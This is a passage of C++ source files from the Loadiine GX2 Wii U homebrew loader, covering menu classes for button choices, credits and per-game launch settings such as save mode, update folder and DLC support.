>= buttonCount){ selectedButtonDPAD = buttonCount; } } else if(trigger == &buttonLeftTrigger){ selectedButtonDPAD--; if(selectedButtonDPAD < 0){ selectedButtonDPAD = 0; } } UpdateChoiceButtons(button,controller,trigger); } ================================================ FILE: src/menu/ButtonChoiceMenu.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _BUTTON_CHOICE_MENU_H_ #define _BUTTON_CHOICE_MENU_H_ #include "gui/Gui.h" #include "settings/SettingsDefs.h" class ButtonChoiceMenu : public GuiFrame, public sigslot::has_slots<> { public: ButtonChoiceMenu(int w, int h, const std::string & titleText, const std::vector & buttonNames, int selected); virtual ~ButtonChoiceMenu(); sigslot::signal2 settingsOkClicked; sigslot::signal1 settingsBackClicked; private: void OnChoiceButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { settingsBackClicked(this); } void OnOkButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { settingsOkClicked(this, selectedButton); } void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void UpdateChoiceButtons(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); GuiSound *buttonClickSound; GuiImageData *backImageData; GuiImage backImage; GuiButton backButton; GuiImageData *okImageData; GuiImage okImage; GuiImageData *okSelectedImageData; GuiImage okSelectedImage; GuiButton okButton; GuiText okText; GuiText titleText; GuiImageData *titleImageData; GuiImage titleImage; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonBTrigger; GuiTrigger buttonUpTrigger; GuiTrigger buttonDownTrigger; GuiTrigger buttonLeftTrigger; GuiTrigger buttonRightTrigger; GuiImageData *buttonImageData; GuiImageData *buttonCheckedImageData; GuiImageData *buttonHighlightedImageData; GuiButton DPADButtons; typedef struct { GuiImage *choiceButtonImg; GuiImage *choiceButtonCheckedImg; GuiImage *choiceButtonHighlightedImg; GuiButton *choiceButton; GuiText *choiceButtonText; } ChoiceButton; std::vector choiceButtons; int buttonCount; int selectedButton; int selectedButtonDPAD; }; #endif //_BUTTON_CHOICE_MENU_H_ ================================================ FILE: src/menu/CreditsMenu.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "CreditsMenu.h" #include "Application.h" CreditsMenu::CreditsMenu(int w, int h, const std::string & title) : GuiFrame(w, h) , creditsMusic(Resources::GetSound("credits_music.ogg")) , buttonClickSound(Resources::GetSound("settings_click_2.mp3")) , backImageData(Resources::GetImageData("backButton.png")) , backImage(backImageData) , backButton(backImage.getWidth(), backImage.getHeight()) , titleImageData(Resources::GetImageData("settingsTitle.png")) , titleImage(titleImageData) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true) { Application::instance()->getBgMusic()->Pause(); creditsMusic->SetLoop(true); creditsMusic->Play(); creditsMusic->SetVolume(50); titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); titleText.setFontSize(46); titleText.setPosition(0, 10); titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f)); titleText.setText(title.c_str()); append(&titleImage); append(&titleText); titleText.setParent(&titleImage); titleImage.setAlignment(ALIGN_CENTER | ALIGN_TOP); backButton.setImage(&backImage); backButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT); backButton.clicked.connect(this, &CreditsMenu::OnBackButtonClick); backButton.setTrigger(&touchTrigger); backButton.setTrigger(&wpadTouchTrigger); backButton.setTrigger(&buttonBTrigger); backButton.setSoundClick(buttonClickSound); backButton.setEffectGrow(); append(&backButton); GuiText *text = NULL; f32 positionY = 230.0f; f32 positionX = 50.0f; f32 positionX2 = 350.0f; int fontSize = 40; glm::vec4 textColor = glm::vec4(1.0f); text = new GuiText(tr("Loadiine GX2"), 56, textColor); text->setPosition(0, positionY); text->setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 100; text = new GuiText(tr("Official Site:"), fontSize, textColor); text->setPosition(positionX, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); text = new GuiText("https://gbatemp.net/threads/413823", fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; text = new GuiText(tr("Coding:"), fontSize, textColor); text->setPosition(positionX, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); text = new GuiText("Dimok / dibas / Maschell / n1ghty", fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; text = new GuiText(tr("Design:"), fontSize, textColor); text->setPosition(positionX, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); text = new GuiText(tr("Some guy who doesn't want to be named."), fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; text = new GuiText(tr("Testing:"), fontSize, textColor); text->setPosition(positionX, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); text = new GuiText(tr("Cyan / Maschell / n1ghty / OnionKnight and many more"), fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; text = new GuiText(tr("Social Presence:"), fontSize, textColor); text->setPosition(positionX, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); text = new GuiText("Cyan", fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; text = new GuiText(tr("Based on:"), fontSize, textColor); text->setPosition(positionX, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); text = new GuiText(tr("Loadiine v4.0 by Golden45 and Dimok"), fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; text = new GuiText(tr("Big thanks to:"), fontSize, textColor); text->setPosition(positionX, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); text = new GuiText(tr("lustar for GameTDB and hosting covers / disc images"), fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; text = new GuiText(tr("Marionumber1 for his kernel exploit"), fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; text = new GuiText(tr("The whole libwiiu team and it's contributors."), fontSize, textColor); text->setPosition(positionX2, positionY); text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); creditsText.push_back(text); append(text); positionY -= 50; } CreditsMenu::~CreditsMenu() { for(u32 i = 0; i < creditsText.size(); ++i) { delete creditsText[i]; } Resources::RemoveImageData(backImageData); Resources::RemoveImageData(titleImageData); Resources::RemoveSound(buttonClickSound); Resources::RemoveSound(creditsMusic); Application::instance()->getBgMusic()->Resume(); } ================================================ FILE: src/menu/CreditsMenu.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _CREDITS_MENU_H_ #define _CREDITS_MENU_H_ #include "gui/Gui.h" class CreditsMenu : public GuiFrame, public sigslot::has_slots<> { public: CreditsMenu(int w, int h, const std::string & titleText); virtual ~CreditsMenu(); sigslot::signal1 settingsBackClicked; private: void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { settingsBackClicked(this); } std::vector creditsText; GuiSound *creditsMusic; GuiSound *buttonClickSound; GuiImageData *backImageData; GuiImage backImage; GuiButton backButton; GuiText titleText; GuiImageData *titleImageData; GuiImage titleImage; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonBTrigger; }; #endif //_SETTINGS_WINDOW_H_ ================================================ FILE: src/menu/GameLauncherMenu.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GameLauncherMenu.h" #include "game/GameList.h" #include "Application.h" #include "settings/SettingsGameDefs.h" #include "settings/CSettingsGame.h" #include "fs/DirList.h" #include "menu/ProgressWindow.h" #include "gui/GuiSelectBox.h" #include "menu/SettingsMenu.h" #include "gui/GuiElement.h" #include "utils/StringTools.h" #include "settings/CSettings.h" CThread * GameLauncherMenu::pThread = NULL; GameLauncherMenu::GameLauncherMenu(int gameIdx) : GuiFrame(0,0) , gameIdx(gameIdx) , bgImage(500, 500, (GX2Color){0, 0, 0, 255}) , bgBlur(1280, 720, (GX2Color){0, 0, 0, 255}) , noCover(Resources::GetFile("noCover.png"), Resources::GetFileSize("noCover.png")) , buttonClickSound(Resources::GetSound("settings_click_2.mp3")) , quitImageData(Resources::GetImageData("quitButton.png")) , quitImage(quitImageData) , quitSelectedImageData(Resources::GetImageData("quitButtonSelected.png")) , quitSelectedImage(quitSelectedImageData) , quitButton(quitImage.getWidth(), quitImage.getHeight()) , okImageData(Resources::GetImageData("emptyRoundButton.png")) , okImage(okImageData) , okSelectedImageData(Resources::GetImageData("emptyRoundButtonSelected.png")) , okSelectedImage(okSelectedImageData) , okButton(okImage.getWidth(), okImage.getHeight()) , okText("O.K.", 46, glm::vec4(0.1f, 0.1f, 0.1f, 1.0f)) , titleImageData(Resources::GetImageData("settingsTitle.png")) , titleImage(titleImageData) , extraSaveText(tr("Extra Save:"), 40, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f)) , dlcEnableText(tr("Enable DLC Support:"), 40, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f)) , frameImageData(Resources::GetImageData("gameSettingsFrame.png")) , frameImage(frameImageData) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true) , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true) , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true) , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true) , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true) , buttonUpTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true) , buttonDownTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true) , leftArrowImageData(Resources::GetImageData("leftArrow.png")) , rightArrowImageData(Resources::GetImageData("rightArrow.png")) , leftArrowImage(leftArrowImageData) , rightArrowImage(rightArrowImageData) , leftArrowButton(leftArrowImage.getWidth(), leftArrowImage.getHeight()) , rightArrowButton(rightArrowImage.getWidth(), rightArrowImage.getHeight()) , DPADButtons(0,0) , extraSaveBox(false,90.0f,38.0f) , dlcEnableBox(false,90.0f,38.0f) , progresswindow("") , pathSelectBox(tr("Update Folder"),NULL) , saveModeSelectBox(tr("Save Mode"),NULL) , launchModeSelectBox(tr("Launch Mode"),NULL) , bgUsedImageDataAsync(NULL) , bgNewImageDataAsync(NULL) , bgFadingImageDataAsync(NULL) { bFocusChanged = true; gamelauncherelementfocus = GamelaunchermenuFocus::OK; //Settings up the values for the selectboxes that don't change savemode_size = sizeof(ValueGameSaveModes) / sizeof(ValueGameSaveModes[0]); saveModeNames[tr("")] = strfmt("%d", GAME_SAVES_DEFAULT); for(int i = 0; i < savemode_size; i++){ saveModeNames[ValueGameSaveModes[i].name] = strfmt("%d",ValueGameSaveModes[i].value); } launchmode_size = sizeof(ValueLaunchMode) / sizeof(ValueLaunchMode[0]); launchModeNames[tr("")] = strfmt("%d", LOADIINE_MODE_DEFAULT); for(int i = 0; i < launchmode_size; i++){ launchModeNames[ValueLaunchMode[i].name] = strfmt("%d",ValueLaunchMode[i].value); } progresswindow.setVisible(false); Application::instance()->getMainWindow()->gameLauncherMenuNextClicked.connect(this,&GameLauncherMenu::OnGotHeaderFromMain); CVideo * video = Application::instance()->getVideo(); width = video->getTvWidth()*windowScale; height = video->getTvHeight()*windowScale; gameLauncherMenuFrame = GuiFrame(width, height); bgImage.setSize(width,height); frameImage.setScale(windowScale); bgBlur.setAlpha(0.85f); append(&bgBlur); append(&bgImage); append(&frameImage); titleImage.setScale(windowScale); titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); titleText.setFontSize(46); titleText.setPosition(0, 10); titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f)); append(&titleImage); append(&titleText); titleText.setParent(&titleImage); titleImage.setAlignment(ALIGN_MIDDLE | ALIGN_TOP); quitButton.setImage(&quitImage); quitButton.setIconOver(&quitSelectedImage); quitButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT); quitButton.clicked.connect(this, &GameLauncherMenu::OnQuitButtonClick); quitButton.setTrigger(&touchTrigger); quitButton.setTrigger(&wpadTouchTrigger); quitButton.setEffectGrow(); quitButton.setSoundClick(buttonClickSound); quitButton.setScale(windowScale*0.8); quitButton.setPosition((1.0/30.0)*width,(1.0/30.0)*width); gameLauncherMenuFrame.append(&quitButton); okText.setPosition(10, -10); okButton.setLabel(&okText); okButton.setImage(&okImage); okButton.setIconOver(&okSelectedImage); okButton.setAlignment(ALIGN_BOTTOM | ALIGN_RIGHT); okButton.clicked.connect(this, &GameLauncherMenu::OnOKButtonClick); okButton.setTrigger(&touchTrigger); okButton.setTrigger(&wpadTouchTrigger); okButton.setSoundClick(buttonClickSound); okButton.setEffectGrow(); okButton.setScale(windowScale*0.8); okButton.setPosition(-(1.0/30.0)*width,(1.0/30.0)*width); gameLauncherMenuFrame.append(&okButton); leftArrowButton.setImage(&leftArrowImage); leftArrowButton.setEffectGrow(); leftArrowButton.setPosition(-120, 0); leftArrowButton.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); leftArrowButton.setTrigger(&touchTrigger); leftArrowButton.setTrigger(&wpadTouchTrigger); leftArrowButton.setSoundClick(buttonClickSound); leftArrowButton.clicked.connect(this, &GameLauncherMenu::OnLeftArrowClick); gameLauncherMenuFrame.append(&leftArrowButton); rightArrowButton.setImage(&rightArrowImage); rightArrowButton.setEffectGrow(); rightArrowButton.setPosition(120, 0); rightArrowButton.setAlignment(ALIGN_RIGHT | ALIGN_MIDDLE); rightArrowButton.setTrigger(&touchTrigger); rightArrowButton.setTrigger(&wpadTouchTrigger); rightArrowButton.setSoundClick(buttonClickSound); rightArrowButton.clicked.connect(this, &GameLauncherMenu::OnRightArrowClick); gameLauncherMenuFrame.append(&rightArrowButton); DPADButtons.setTrigger(&buttonDownTrigger); DPADButtons.setTrigger(&buttonATrigger); DPADButtons.setTrigger(&buttonBTrigger); DPADButtons.setTrigger(&buttonLTrigger); DPADButtons.setTrigger(&buttonRTrigger); DPADButtons.setTrigger(&buttonLeftTrigger); DPADButtons.setTrigger(&buttonRightTrigger); DPADButtons.setTrigger(&buttonUpTrigger); DPADButtons.clicked.connect(this, &GameLauncherMenu::OnDPADClick); gameLauncherMenuFrame.append(&DPADButtons); f32 buttonscale = 3.8f/3.0f; extraSaveBox.setTrigger(&touchTrigger); extraSaveBox.setTrigger(&wpadTouchTrigger); extraSaveBox.setSoundClick(buttonClickSound); extraSaveBox.valueChanged.connect(this, &GameLauncherMenu::OnExtraSaveValueChanged); gameLauncherMenuFrame.append(&extraSaveBox); dlcEnableBox.setTrigger(&touchTrigger); dlcEnableBox.setTrigger(&wpadTouchTrigger); dlcEnableBox.setSoundClick(buttonClickSound); dlcEnableBox.valueChanged.connect(this, &GameLauncherMenu::OnDLCEnableValueChanged); gameLauncherMenuFrame.append(&dlcEnableBox); f32 xpos = 0.11f; f32 yOffset = -(0.3 * height); dlcEnableBox.setScale(buttonscale*windowScale); saveModeSelectBox.setScale(buttonscale*windowScale); launchModeSelectBox.setScale(buttonscale*windowScale); extraSaveBox.setScale(buttonscale*windowScale); extraSaveText.setScale(buttonscale*windowScale); dlcEnableText.setScale(buttonscale*windowScale); pathSelectBox.setScale(buttonscale* windowScale); dlcEnableBox.setPosition(xpos*width + (saveModeSelectBox.getTopValueWidth()*saveModeSelectBox.getScale() /2.0) - (dlcEnableBox.getWidth()*dlcEnableBox.getScale()/2.0), yOffset); dlcEnableText.setPosition(xpos*width - (saveModeSelectBox.getTopValueWidth()*saveModeSelectBox.getScale() /2.0)+ (dlcEnableText.getTextWidth()/2.0), yOffset); yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale(); saveModeSelectBox.setPosition(xpos*width, yOffset); yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale(); launchModeSelectBox.setPosition(xpos*width, yOffset); yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale() * 1.2f; extraSaveBox.setPosition(xpos*width + (saveModeSelectBox.getTopValueWidth()*saveModeSelectBox.getScale() /2.0) - (extraSaveBox.getWidth()*extraSaveBox.getScale()/2.0), yOffset); extraSaveText.setPosition(xpos*width - (saveModeSelectBox.getTopValueWidth()*saveModeSelectBox.getScale() /2.0)+ (extraSaveText.getTextWidth()/2.0), yOffset); yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale() * 1.2f; pathSelectBox.setPosition(xpos*width, yOffset); yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale() * 1.2f; pathSelectBox.showhide.connect(this, &GameLauncherMenu::OnSelectBoxShowHide); launchModeSelectBox.showhide.connect(this, &GameLauncherMenu::OnSelectBoxShowHide), saveModeSelectBox.showhide.connect(this, &GameLauncherMenu::OnSelectBoxShowHide); pathSelectBox.valueChanged.connect(this, &GameLauncherMenu::OnSelectBoxValueChanged); launchModeSelectBox.valueChanged.connect(this, &GameLauncherMenu::OnSelectBoxValueChanged), saveModeSelectBox.valueChanged.connect(this, &GameLauncherMenu::OnSelectBoxValueChanged); gameLauncherMenuFrame.append(&dlcEnableText); gameLauncherMenuFrame.append(&extraSaveText); gameLauncherMenuFrame.append(&saveModeSelectBox); gameLauncherMenuFrame.append(&pathSelectBox); gameLauncherMenuFrame.append(&launchModeSelectBox); selectBoxes.push_back(&pathSelectBox); selectBoxes.push_back(&launchModeSelectBox); selectBoxes.push_back(&saveModeSelectBox); append(&gameLauncherMenuFrame); append(&progresswindow); focusElements[GamelaunchermenuFocus::ExtraSave] = &extraSaveBox; focusElements[GamelaunchermenuFocus::EnableDLC] = &dlcEnableBox; focusElements[GamelaunchermenuFocus::Quit] = &quitButton; focusElements[GamelaunchermenuFocus::UpdatePath] = &pathSelectBox; focusElements[GamelaunchermenuFocus::SaveMethod] = &saveModeSelectBox; focusElements[GamelaunchermenuFocus::LaunchMethod] = &launchModeSelectBox; focusElements[GamelaunchermenuFocus::OK] = &okButton; setHeader(GameList::instance()->at(gameIdx)); } GameLauncherMenu::~GameLauncherMenu() { Resources::RemoveImageData(quitImageData); Resources::RemoveImageData(leftArrowImageData); Resources::RemoveImageData(rightArrowImageData); Resources::RemoveImageData(okImageData); Resources::RemoveImageData(okSelectedImageData); Resources::RemoveImageData(quitSelectedImageData); Resources::RemoveImageData(titleImageData); Resources::RemoveImageData(frameImageData); Resources::RemoveSound(buttonClickSound); if(bgFadingImageDataAsync) { bgFadingImageDataAsync->imageLoaded.disconnect_all(); AsyncDeleter::pushForDelete(bgFadingImageDataAsync); } if(bgUsedImageDataAsync) { bgUsedImageDataAsync->imageLoaded.disconnect_all(); AsyncDeleter::pushForDelete(bgUsedImageDataAsync); } if(bgNewImageDataAsync) { bgNewImageDataAsync->imageLoaded.disconnect_all(); AsyncDeleter::pushForDelete(bgNewImageDataAsync); } if(coverImg) { coverImg->imageLoaded.disconnect_all(); AsyncDeleter::pushForDelete(coverImg); } if(GameLauncherMenu::pThread != NULL){ delete GameLauncherMenu::pThread; } } void GameLauncherMenu::OnSelectBoxShowHide(GuiSelectBox * selectBox,bool value){ //Disable other selectboxes while one is open! if(value){ DPADButtons.setState(STATE_DISABLED); for(u32 i = 0; i < selectBoxes.size(); i++){ selectBoxes[i]->setState(STATE_DISABLED); if(selectBoxes[i] == selectBox){ bringToFront(selectBoxes[i]); selectBoxes[i]->clearState(STATE_DISABLED); std::map::iterator itr; for(itr = focusElements.begin(); itr != focusElements.end(); itr++) { if(itr->second == selectBox){ gamelauncherelementfocus = itr->first; bFocusChanged = true; } } } } }else{ DPADButtons.clearState(STATE_DISABLED); for(u32 i = 0; i < selectBoxes.size(); i++){ selectBoxes[i]->clearState(STATE_DISABLED); } } } void GameLauncherMenu::OnSelectBoxValueChanged(GuiSelectBox * selectBox, std::string value){ if(selectBox == &pathSelectBox){ DEBUG_FUNCTION_LINE("Setting update path to %s\n",value.c_str()); gamesettings.updateFolder = value; }else if(selectBox == &saveModeSelectBox){ DEBUG_FUNCTION_LINE("Setting savemode to %s\n",value.c_str()); gamesettings.save_method = atoi(value.c_str()); }else if(selectBox == &launchModeSelectBox){ DEBUG_FUNCTION_LINE("Setting launchmode to %s\n",value.c_str()); gamesettings.launch_method = atoi(value.c_str()); }else{ return; } bChanged = true; gamesettingsChanged = true; } void GameLauncherMenu::OnExtraSaveValueChanged(GuiToggle * toggle,bool value){ gamesettings.extraSave = value; gamesettingsChanged = true; bChanged = true; } void GameLauncherMenu::OnDLCEnableValueChanged(GuiToggle * toggle,bool value){ gamesettings.EnableDLC = value; gamesettingsChanged = true; bChanged = true; } void GameLauncherMenu::OnGotHeaderFromMain(GuiElement *button, int gameIdx) { this->gameIdx = gameIdx; setHeader(GameList::instance()->at(gameIdx)); } void GameLauncherMenu::setHeader(const discHeader * header) { this->header = header; gameLauncherMenuFrame.remove(coverImg); std::string filepath = CSettings::getValueAsString(CSettings::GameCover3DPath) + "/" + header->id + ".png"; if(coverImg) { coverImg->imageLoaded.disconnect_all(); AsyncDeleter::pushForDelete(coverImg); coverImg = NULL; } coverImg = new GuiImageAsync(filepath, &noCover); coverImg->setAlignment(ALIGN_LEFT); coverImg->setPosition(50,0); coverImg->setScale((5.0/3.0) * windowScale); coverImg->imageLoaded.connect(this, &GameLauncherMenu::OnCoverLoadedFinished); gameLauncherMenuFrame.append(coverImg); loadBgImage(); //Set game title std::string gamename = header->name; if(gamename.length() > 40){ gamename = gamename.substr(0,38) + "..."; } titleText.setText(gamename.c_str()); DirList updatefolder(header->gamepath + UPDATE_PATH,NULL,DirList::Dirs); DEBUG_FUNCTION_LINE("Found %d update folders for %s:\n",updatefolder.GetFilecount(),header->name.c_str()); updatePaths.clear(); updatePaths[COMMON_UPDATE_PATH] = COMMON_UPDATE_PATH; for(int i = 0; i < updatefolder.GetFilecount(); i++) { updatePaths[updatefolder.GetFilename(i)] = updatefolder.GetFilename(i); DEBUG_FUNCTION_LINE("%s\n",updatefolder.GetFilename(i)); } //gameTitle.setText(gamename.c_str()); bool result = CSettingsGame::getInstance()->LoadGameSettings(header->id,gamesettings); if(result){ DEBUG_FUNCTION_LINE("Found "); } DEBUG_FUNCTION_LINE("Game Setting for: %s\n\n",header->id.c_str()); DEBUG_FUNCTION_LINE("Update Folder: \"%s\"\n",gamesettings.updateFolder.c_str()); DEBUG_FUNCTION_LINE("Extra Save: %d\n",gamesettings.extraSave); DEBUG_FUNCTION_LINE("Launch Method: %d\n",gamesettings.launch_method); DEBUG_FUNCTION_LINE("Save Method: %d\n",gamesettings.save_method); DEBUG_FUNCTION_LINE("--------\n"); //getting selected Items for selectboxes std::map::iterator itr; int i = 0; int updatePathID = 0; for(itr = updatePaths.begin(); itr != updatePaths.end(); itr++) { if(itr->second.compare(gamesettings.updateFolder) == 0){ updatePathID = i; break; } i++; } int savemodeID = 0; i=0; for(itr = saveModeNames.begin(); itr != saveModeNames.end(); itr++) { if(atoi(itr->second.c_str()) == gamesettings.save_method){ savemodeID = i; } i++; } int launchmodeID = 0; i = 0; for(itr = launchModeNames.begin(); itr != launchModeNames.end(); itr++) { if(atoi(itr->second.c_str()) == gamesettings.launch_method){ launchmodeID = i; } i++; } pathSelectBox.Init(updatePaths,updatePathID); //TODO: change to set Value saveModeSelectBox.Init(saveModeNames,savemodeID); launchModeSelectBox.Init(launchModeNames,launchmodeID); extraSaveBox.setValue(gamesettings.extraSave); dlcEnableBox.setValue(gamesettings.EnableDLC); gamesettingsChanged = false; bChanged = true; } void GameLauncherMenu::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { OnGetPreviousHeaderClick(button,controller,trigger); } void GameLauncherMenu::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { OnGetNextHeaderClick(button,controller,trigger); } void GameLauncherMenu::OnAButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(gamelauncherelementfocus == GamelaunchermenuFocus::Quit){ OnQuitButtonClick(button,controller,trigger); }else if(gamelauncherelementfocus == GamelaunchermenuFocus::OK) { OnOKButtonClick(button,controller,trigger); }else{ GuiSelectBox * selectBox = dynamic_cast(focusElements.at(gamelauncherelementfocus)); if(selectBox != NULL){ selectBox->OnTopValueClicked(button,controller,trigger); return; } GuiToggle * toggle = dynamic_cast(focusElements.at(gamelauncherelementfocus)); if(toggle != NULL){ toggle->OnToggleClick(button,controller,trigger); return; } } } void GameLauncherMenu::OnOKButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { CSettings::setValueAsU16(CSettings::GameStartIndex,gameIdx); gameLauncherMenuFrame.setState(STATE_DISABLED); progresswindow.setTitle(tr("Saving game settings!")); progresswindow.setProgress(0.0f); progresswindow.setVisible(true); bringToFront(&progresswindow); GameLauncherMenu::SaveSettingsAsync(this); } void GameLauncherMenu::SaveSettingsAsync(GameLauncherMenu * menu) { GameLauncherMenu::pThread = CThread::create(GameLauncherMenu::SaveGameSettings, (void*)menu, CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 10); GameLauncherMenu::pThread->resumeThread(); } void GameLauncherMenu::SaveGameSettings(CThread *thread, void *arg){ GameLauncherMenu * args = (GameLauncherMenu * )arg; bool result = false; if(args->gamesettingsChanged){ result = CSettingsGame::getInstance()->SaveGameSettings(args->gamesettings); } args->ReturnFromSaving(thread,result); } void GameLauncherMenu::ReturnFromSaving(CThread * thread, int result) { gameLauncherMenuFrame.clearState(STATE_DISABLED); progresswindow.setVisible(false); gameLauncherMenuQuitClicked(this, header,true); } void GameLauncherMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(trigger == &buttonATrigger) { //! do not auto launch when wiimote is pointing to screen and presses A if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } OnAButtonClick(button,controller,trigger); } else if(trigger == &buttonBTrigger){ OnQuitButtonClick(button,controller,trigger); } else if(trigger == &buttonLTrigger){ OnLeftArrowClick(button,controller,trigger); } else if(trigger == &buttonRTrigger){ OnRightArrowClick(button,controller,trigger); } else 